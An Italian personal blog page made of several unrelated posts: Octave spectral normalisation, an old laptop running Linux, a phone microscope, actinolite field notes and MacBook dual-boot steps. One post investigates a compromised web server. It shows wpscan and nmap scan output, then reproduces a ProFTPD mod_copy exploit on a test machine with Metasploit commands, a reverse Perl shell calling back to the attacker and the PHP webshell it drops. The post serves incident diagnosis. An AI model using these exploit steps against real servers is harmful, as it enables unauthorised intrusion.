Questo post e' l'inizio di un lavoro sulle reti neurali applicate a dati iperspettrali (il tema della mia tesi di dottorato)
Per usare una rete neurale e' necessario avere una ottima base dati di training ed ho scelto l'archivio USGS Spectral Library scaricabile liberamente e con dati in formato testuale
Il primo lavoro da fare e' quello di normalizzare gli spettri. Quando ero all'Universita' avevo accesso ad una licenza di Matlab ma adesso devo impiegare Octave, la versione Open Source di Matlab.
Questo metodo e' descritto nell'articolo
---------------------------------------------------------------------------------- close all clear all filename = 's07HYPRN_Actinolite_HS22.2B_ASDFRb_AREF.txt'; fid = fopen (filename, "r"); conta = 0; nr = 2; dati = []; #aggiunge uno zero in testa #serve per rendere il calcolo di Convex Hull #piu' affidabile dati = [dati;0]; #legge tutte le righe del file saltando #la prima ed inserendo il tutto in array while (!feof(fid)) text_line = fgetl(fid); #salta la prima riga descrittiva if (conta > 0) transi = str2num(text_line); # salta in valori NULL if (transi > 0) dati = [dati;transi]; nr = nr +1; endif endif conta = conta + 1; endwhile fclose (fid); #aggiunge uno zero in coda #serve per rendere il calcolo di Convex Hull #piu' affidabile dati = [dati;0]; x = 1:1:nr; reshape(x,1,nr); #calcola la convex hull dello spettro cx = convhull(x,dati); #rende continua la convex hull #la convex hull viene calcolata di default #come una spezzata di segmenti xq = 1:1:nr; vq1 = interp1(x(cx),dati(cx),xq); #divide ogni valore di riflettanza per il corrispondente #valore della convex hull per ottenere valori normalizzati dati2 = reshape(dati,1,nr); normalizzato = dati2./vq1; #plotta i dati plot(x(cx),dati(cx),'r-',x,vq1,'b*',x,normalizzato,"g*"); #salvi i dati normalizzati in un file csv normalizzato = normalizzato(2:nr-1); #il nome del file normalizzato ha un prefisso "norm_" filename = ["norm_" filename]; dlmwrite(filename,normalizzato);
Il Sony VAIO VGN-SZ5XN/C e' stata la mia macchina aziendale per circa un annetto nel 2007 ed era una gran bella macchina per l'epoca...ultra leggera con inserti al carbonio e plastiche cosi' sottili che scricchiolavano sotto la pressione (oltre al rumore delle ventole spesso attive). Ne ho trovato uno su Ebay a 50 euro e non ho potuto fare a meno di ricompralo
Il problema e' che e' ad oggi una macchina datata con 2 Giga di Ram ed un processore che fa molta fatica...non essendoci piu' ChrunchBang (in realta' continuata da BunsenLabs) come distribuzione Linux ho provato LXLE, una versione di Ubuntu LTS apposta per hardware obsoleto (ne esiste una versione anche 32 bit) e devo ammettere che e' molto ben fatta
In questo post racconto una esperienza con un macchina compromessa su cui pero' non ho avuto accesso fisico o di shell perche' non da me amministrata
visto che la macchina ospita vari siti Wordpress il primo tentativo e' stato di verificare se sul sito compromesso erano presenti plugin/temi vulnerabili
wpscan -u http://xxxxxxx --enumerate --log
-------------------------------- _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 2.9.3 Sponsored by Sucuri - https://sucuri.net @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_ _______________________________________________________________ [+] URL: http://xxxxxxxxx.it/ [+] Started: Wed Feb 21 10:36:40 2018 [+] robots.txt available under: 'http://xxxxxxxxx.it/robots.txt' [+] Interesting entry from robots.txt: http://xxxxxxxxx.it/wp-admin/admin-ajax.php [!] The WordPress 'http://xxxxxxxxx.it/readme.html' file exists exposing a version number [+] Interesting header: LINK: <http://xxxxxxxxx.it/wp-json/>; rel="https://api.w.org/" [+] Interesting header: LINK: <http://xxxxxxxxx.it/>; rel=shortlink [+] Interesting header: SERVER: Apache/2.4.10 (Debian) [+] Interesting header: SET-COOKIE: wfvt_2345687367=5a8d3d46d77c0; expires=Wed, 21-Feb-2018 10:05:02 GMT; Max-Age=1800; path=/; httponly [+] This site seems to be a multisite (http://codex.wordpress.org/Glossary#Multisite) [+] XML-RPC Interface available under: http://xxxxxxxxx.it/xmlrpc.php [!] Upload directory has directory listing enabled: http://xxxxxxxxx.it/wp-content/uploads/ [!] Includes directory has directory listing enabled: http://xxxxxxxxx.it/wp-includes/ [+] WordPress version 4.9.4 (Released on 2018-02-06) identified from meta generator [!] 1 vulnerability identified from the version number [!] Title: WordPress <= 4.9.4 - Application Denial of Service (DoS) (unpatched) Reference: https://wpvulndb.com/vulnerabilities/9021 Reference: https://baraktawily.blogspot.fr/2018/02/how-to-dos-29-of-world-wide-websites.html Reference: https://github.com/quitten/doser.py Reference: https://thehackernews.com/2018/02/wordpress-dos-exploit.html Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389 [+] WordPress theme in use: cittinfo - v1.0.0 [+] Name: xxxxxxx - v1.0.0 | Location: http://xxxxxxxxx.it/wp-content/themes/xxx/ | Readme: http://xxxxxxxxx.it/wp-content/themes/xx/readme.txt | Style URL: http://xxxxxxxxx.it/wp-content/themes/xxxx/style.css | Theme Name: xxxxx | Theme URI: https://xxxxxxxxx.it | Description: xxxx | Author: xxxx | Author URI: http://www.xxxx.it [+] Enumerating installed plugins (only ones with known vulnerabilities) ... [+] We found 2 plugins: [+] Name: Ultimate_VC_Addons | Location: http://xxxxxxxxx.it/wp-content/plugins/Ultimate_VC_Addons/ | Changelog: http://xxxxxxxxx.it/wp-content/plugins/Ultimate_VC_Addons/changelog.txt [!] Directory listing is enabled: http://xxxxxxxxx.it/wp-content/plugins/Ultimate_VC_Addons/ [!] We could not determine a version so all vulnerabilities are printed out [!] Title: Ultimate Addons for Visual Composer <= 3.16.11 - Authenticated XSS, CSRF, RCE Reference: https://wpvulndb.com/vulnerabilities/8821 Reference: http://wphutte.com/ultimate-addons-for-visual-composer-v3-16-10-xss-csrf-rce/ Reference: https://codecanyon.net/item/ultimate-addons-for-visual-composer/6892199 [i] Fixed in: 3.16.12 [+] Name: js_composer | Location: http://xxxxxxxxx.it/wp-content/plugins/js_composer/ [!] We could not determine a version so all vulnerabilities are printed out [!] Title: Visual Composer <= 4.7.3 - Multiple Unspecified Cross-Site Scripting (XSS) Reference: https://wpvulndb.com/vulnerabilities/8208 Reference: http://codecanyon.net/item/visual-composer-page-builder-for-wordpress/242431 Reference: https://forums.envato.com/t/visual-composer-security-vulnerability-fix/10494/7 [i] Fixed in: 4.7.4 [+] Enumerating installed themes (only ones with known vulnerabilities) ... [+] No themes found [+] Enumerating timthumb files ... [+] No timthumb files found [+] Enumerating usernames ... [+] We did not enumerate any usernames [+] Finished: Wed Feb 21 10:41:01 2018 [+] Requests Done: 4864 [+] Memory used: 136.785 MB [+] Elapsed time: 00:04:20
--------------------------------
La scansione di Wordpress evidenzia alcuni problemi ma nessun che possa portare ad una compromissione della macchina. Si sa che e' un server Debian con directory listabili sul server apache ed qualche problema di XSS
Passiamo alla scansione dei servizi dove c'e' qualcosa di interessante. Il server FTP mostra una versione vulnerabile
--------------------------------
sh-3.2# nmap -sV -T4 -F 150.217.73.96 Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-21 10:48 CET Nmap scan report for xxxxxxxxxx (xxx.xxx.xxx.xxx) Host is up (0.24s latency). Not shown: 67 filtered ports, 30 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.5 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0) 80/tcp open http Apache httpd 2.4.10 ((Debian)) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
--------------------------------
Ho quindi provato a costruirmi una macchina di test per ricreare il problema,fare l'exploit con metasploit e verificare se era quello il punto di ingresso
La vulnerabilita' CVE-2015-3306 e' relativa alla versione 1.3.5 ProFTPD sono se e' montato il modulo mod_write. Dato che adesso tutti i pacchetti delle maggiori distribuzioni sono patchati per ripetere l'exploit ho scaricato i sorgenti originali di ProFTPD da questo link compilando a mano con i seguenti comandi
./configure --with-modules=mod_copy
make make install
senza loggarsi sul server si puo' verificare se Proftpd e' soggetto alla vulnerabilita'. Basta digitare
site help
e vedere se sono disponibili i comandi CPFR e CPTO (se il modulo mod_write non e' compilato si vedranno solo HELP e CPTO)
ftp> site help
214-The following SITE commands are recognized (* =>'s unimplemented)
CPFR <sp> pathname
CPTO <sp> pathname
HELP
CHGRP
CHMOD
ok il server e' soggetto alla vulnerabilita'. Ho quindi aperto metasploit (su Kali Linux per semplicita') con
msfconsole use exploit/unix/ftp/proftpd_modcopy_exec show options set RHOST xxx.xxx.xxx.xxx (indirizzo numerico remoto)
set SITEPATH /var/www/html/xxxxxx/xxxxx/
(la macchina Debian ha il path della html dir qui)
set TARGETURI /xxxxx/xxxxx
show payloads
use cmd/unix/reverse_perl set LHOST xxx.xxx.xxx.xxx (ip della macchina che attacca a cui ricevere la reverse shell)
run
nel caso in cui il server non monti il mod_write si ottiene il seguente messaggio
Exploit aborted due to failure: unknown: xxx.xxx.xxx.xxx:21 - Failure copying from /proc/self/cmdline
altrimenti si ha un messaggio del genere
msf exploit(unix/ftp/proftpd_modcopy_exec) > run
[*] Started reverse TCP handler on xxx.xxx.xxx.xxx:4444
[*] xxx.xxx.xxx.xxx:80 - xxx.xxx.xxx.xxx:21 - Connected to FTP server
[*] xxx.xxx.xxx.xxx:80 - xxx.xxx.xxx.xxx:21 - Sending copy commands to FTP server
[*] xxx.xxx.xxx.xxx:80 - Executing PHP payload /test/2jXgD.php
[*] Command shell session 1 opened (xxx.xxx.xxx.xxx:4444 -> xxx.xxx.xxx.xxx:44882) at 2018-02-21 13:32:20 +0100
a questo punto si e' aperta una shell (anche se a video non compare nessun messaggio) e digitando i comandi si puo' interagire con il server remoto
whoami (si ha come risposta www-data)
ifconfig
uname -a
nel webserver troveremo il nuovo file 2jXgD.php con questo contenuto
proftpd: xxx.xxx.xxx.xxx:36289: SITE CPTO /tmp/.<?php passthru($_GET['4PuZG']);?>msf exploit(unix/ftp/proftpd_modcopy_exec) >
una volta entrati nel server il passo successivo e' quello di fare una scalata dei privilegi locali
e questo non e' banale
Per esempio se uname ci dice che e' in uso un kernel 4.14.0-rc4 si puo' tentare questa strada
Ho provato ad usare il telefono Android come piccolo microscopio portatile accompiandolo via USB/OTG
Per fare questa operazione e' necessario che il firmware Android del telefono abbia compilato il modulo v4l (video for Linux) in caso contrario non sara' possibile fare niente
Nonostante il costo ridicolo del microscopio (a cui aggiungere l'adattatore OTG) il tutto funziona sorprendentemente bene
Avvertimento : l'actinolite appartiene alla famiglia dell'asbesto e quindi e' potenzialmente sorgente di fibre che possono generare malattie cancerogene quali il mesotelioma. Da gestire in condizioni di sicurezza Avvertimento : i dati sotto riportati sono relativi solo ad osservazioni. Non ho possibilita' di effettuare determinazione analitiche o al SEM per avere conferma della determinazione.
-----------------------------------------------------
Affioramento Sassi Neri Impruneta lungo la strada che collega a Strada in Chianti
L'actinolite e' un anfibolo parente stretto della tremolite (cui si differenzia solo per la differente percentuale di sostituzione tra Mg e Fe). La formula completa, sia di tremolite che di actinolite, e' Ca2(Mg,Fe2+)5Si8O22(OH)2
Gli anfiboli contenenti Ca sono tipici delle rocce ultrafemiche
Per i riferimenti di minerologia si rimanda a Mindat
A livello di affioramento l'unico indicatore e' dato dal colore che risulta essere verde tendente al nero per l'actinolite mentre e' bianco per la tremolite. Mentre nel campione 1 sembra che vi sia solo actinolite nel campione 2 potrebbe esservi sia tremolite che actinolite
Colpendo con il martello (cosa da non fare ma mi e' scappato un colpo) il colore diventa bianco
Tutte le mineralizzazioni si presentano con accrescimenti lungo la superficie di frattura e non ortogonali alla stessa.
Nel campione 1 l'aspetto dell'actinolite e' piu' massivo. Si nota la direzione di accrescimento ma non si notano in modo evidente la separazione tra i diversi cristalli lungo l'asse maggiore.
Campione 1
Campione 1
Campione 2
Alcuni ingrandimenti con un microscopio USB a 50X (circa). In affioramento con la lentina da 20x la struttura e' comunque evidente
Dettagli Campione 1
Dettagli Campione 2
Da notare che in alcune zone del campione al microscopio si nota una estesa presenza di fori nella zona esposta all'alterazione meteorica dell'affioramento...non ho idea se si tratti di azione di piante od animali
Sono presenti anche campioni di serpentino ma non ho visto presenza di crisotilo alla scala di affioramento
Avevo gia' messo in dual boot MacOs X con Ubuntu su un MacBook qualche anno fa ma non mi ero appuntato la procedura e cosi' ho dovuto reimparare da capo..questa volta scrivo qui i passi.
Il Mac parte tranquillamente da una normale Ubuntu Live 16.04.03 mettendo la penna USB e premendo il tasto Option al boot.
Invece di fare partire l'installer ho lanciato GParted (che e' compreso nella live) per ridurre la dimensione della partizione OSX e lasciare posto a Ubuntu creando le due partizioni di root e di swap. A questo punto si lancia l'installer e fa tutto in automatico...anche troppo...infatti quando ho visto che installava Grub senza chiedermi niente ho capito di essere nei guai.
Al riavvio successivo infatti e' partita in automatico Ubuntu senza possibilita' di scegliere Linux...attimo di panico e riavvio premendo il tasto Option ha fatto vedere la partizione MacOsx
E' arrivato il momento di aggiungere rEFInd, il boot manager, ma prima dovevo disabilitare SIP (crutil disable), operazione di effettua dalla modalita' Recovery di Mac....tranne per il fatto che il computer non ne voleva sapere di Command+R. Ho scoperto dopo un po' di prove che priva dovevo selezionare la partizione Mac con Option e poi dare Command+R per entrare in Recovery
Fatto cio' ed montato rEFInd l'ultimo problema e' stato quello di configurare la scheda WiFi di Ubuntu con